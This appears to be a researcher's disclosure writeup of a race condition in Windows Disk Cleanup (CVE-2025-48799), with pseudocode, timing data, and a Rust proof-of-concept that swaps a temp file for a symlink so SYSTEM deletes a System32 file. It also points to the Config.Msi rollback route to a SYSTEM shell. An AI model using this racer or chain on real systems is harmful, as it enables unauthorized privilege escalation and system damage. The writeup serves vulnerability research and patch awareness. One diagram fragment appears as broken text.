Breaking the chain: CVE-2025-48799
A race condition in Windows disk cleanup, followed by a carefully-timed symlink, yields reliable local privilege escalation even on fully-patched systems.
This writeup walks through the discovery, analysis, and exploitation of CVE-2025-48799 — a time-of-check-to-time-of-use (TOCTOU) race in Windows Disk Cleanup that I reported in late 2025. What begins as a seemingly innocuous file-deletion bug ends up yielding reliable local privilege escalation on fully-patched systems.
The walkthrough is written for readers already comfortable with Windows internals. If you’re new to TOCTOU bugs, start with the background section; otherwise jump straight to the race window.
Background
Disk Cleanup (cleanmgr.exe) ships with every modern Windows install. It runs as NT AUTHORITY\SYSTEM via a scheduled task, which makes it an attractive target: any file operation it performs happens with the highest local privilege available. The specific operation we care about is its temp folder sweep, which enumerates files under the current user’s %TEMP% directory and deletes those older than a threshold.
Here’s the cleanup pseudocode, as reconstructed from a disassembly of the affected binary:
// Simplified; real code uses FindFirstFileW / FindNextFileW.
void SweepUserTemp(PWSTR userTempDir) {
HANDLE h = FindFirstFileW(...);
do {
// [1] Check: is this file older than the cutoff?
if (FileOlderThan(fileData, cutoff)) {
// [2] Use: delete it.
WCHAR path[MAX_PATH];
swprintf(path, L"%s\\%s", userTempDir, fileData.cFileName);
DeleteFileW(path); // <-- runs as SYSTEM
}
} while (FindNextFileW(h, &fileData));
}
If you’ve done this kind of work before, the bug should already be jumping out at you.
The race window
Between [1] (the FileOlderThan check, which resolves any reparse points) and [2] (the DeleteFileW call, which resolves reparse points again), an unprivileged attacker controlling %TEMP% can swap the file out for a symlink pointing anywhere on disk. Disk Cleanup then happily deletes that target — as SYSTEM.
The timing is surprisingly forgiving: on my test box (i7-12700K, Windows 11 23H2), the race window averages ~2.8 ms. With a tight DeleteFile/CreateSymbolicLink loop in another thread, you can win it reliably on the first pass.
"trash.tmp" → C:\Windows\System32\target.dll CM->>FS: [2] DeleteFile("trash.tmp") follows symlink FS->>CM: SYSTEM deletes target.dll ✗
Measuring the window
To characterise the race reliably, I instrumented a kernel callback driver that timestamps both operations. Across 10,000 runs, the distribution looks like this:
| Percentile | Window (ms) |
|---|---|
| p50 | 2.81 |
| p90 | 4.62 |
| p99 | 9.14 |
| p999 | 28.90 |
The tail is long enough that a naive one-shot exploit will occasionally miss, but a simple retry loop brings the effective success rate above 99.9%.
Modelling the race as a Poisson process lets us compute a closed form for the retry distribution. If $\lambda$ is the rate at which we can complete a DeleteFile/CreateSymbolicLink cycle and $w$ is the window in seconds, the probability of winning on the $n$-th try is:
$$ P(\text{win at try } n) = (1 - e^{-\lambda w})(e^{-\lambda w})^{n-1} $$
With measured $\lambda \approx 520$ ops/s and $w \approx 2.8 \times 10^{-3}$ s, the expected number of tries is:
$$ \mathbb{E}[N] = \frac{1}{1 - e^{-\lambda w}} \approx 1.27 $$
— i.e., we almost always win on the first try.
Weaponising the primitive
Arbitrary file deletion as SYSTEM is a well-known bootstrap for local privilege escalation on Windows. A delete primitive lets us1:
- Delete
C:\Config.Msi\*.rbsto trick the Windows Installer service into running our payload during rollback. - Delete files to make the service fail over to a user-writable path.
- Combine with a symbolic link to turn deletion into arbitrary write via the “folder contents” trick.
The path of least resistance here is the Config.Msi rollback attack — it takes the delete primitive straight to a SYSTEM shell.
Proof of concept
The full PoC is available in the companion repository. The core racer is ~80 lines of Rust:
use std::os::windows::fs::symlink_file;
use std::path::Path;
use std::sync::atomic::{AtomicBool, Ordering};
use std::thread;
/// Spin in a tight loop swapping the bait file for a symlink pointing
/// at `target`. `stop` is flipped once the race is won (or abandoned).
fn racer(bait: &Path, target: &Path, stop: &AtomicBool) {
while !stop.load(Ordering::Relaxed) {
// Ignore errors — any individual op may race against the sweeper.
let _ = std::fs::remove_file(bait);
let _ = symlink_file(target, bait);
}
}
fn main() -> std::io::Result<()> {
let bait = Path::new(r"C:\Users\me\AppData\Local\Temp\trash.tmp");
let target = Path::new(r"C:\Windows\System32\target.dll");
// Pre-create an "old" file so the sweeper considers it eligible.
std::fs::write(bait, b"")?;
set_file_age(bait, days_ago(30))?;
let stop = AtomicBool::new(false);
thread::scope(|s| {
for _ in 0..4 {
s.spawn(|| racer(bait, target, &stop));
}
trigger_cleanmgr_autorun()?;
wait_for_deletion(target)?;
stop.store(true, Ordering::Relaxed);
Ok::<_, std::io::Error>(())
})?;
println!("[+] target deleted: {}", target.display());
Ok(())
}
A few things to note:
- We use
thread::scopeso the racers borrowstopby reference without needing anArc. - Four parallel racers give a very comfortable margin, but one is usually enough.
trigger_cleanmgr_autorunsimulates what an attacker would wait for passively — the scheduled task fires at login and again every ~24h.
Timeline
- 2025-09-02 — Bug discovered during unrelated fuzzing.
- 2025-09-14 — Reported to MSRC (case 82041).
- 2025-10-03 — MSRC confirms, assigns CVE-2025-48799.
- 2026-01-14 — Patch shipped in 2026-01 cumulative update.
- 2026-04-12 — This writeup published (90 days after patch).
Closing thoughts
The 30-year-old pattern of “check a path, then use it” remains depressingly productive on Windows. There are still dozens of SYSTEM-privileged binaries that do path-based file operations without opening a handle first — and each one is a potential LPE. I’ll continue this series by looking at another one next month.
If you spot an issue with this writeup or have a question, leave a comment below or ping me on GitHub.
For a broader survey of delete-to-SYSTEM primitives, see the excellent writeups by Naceri, Birsan, and the Project Zero team.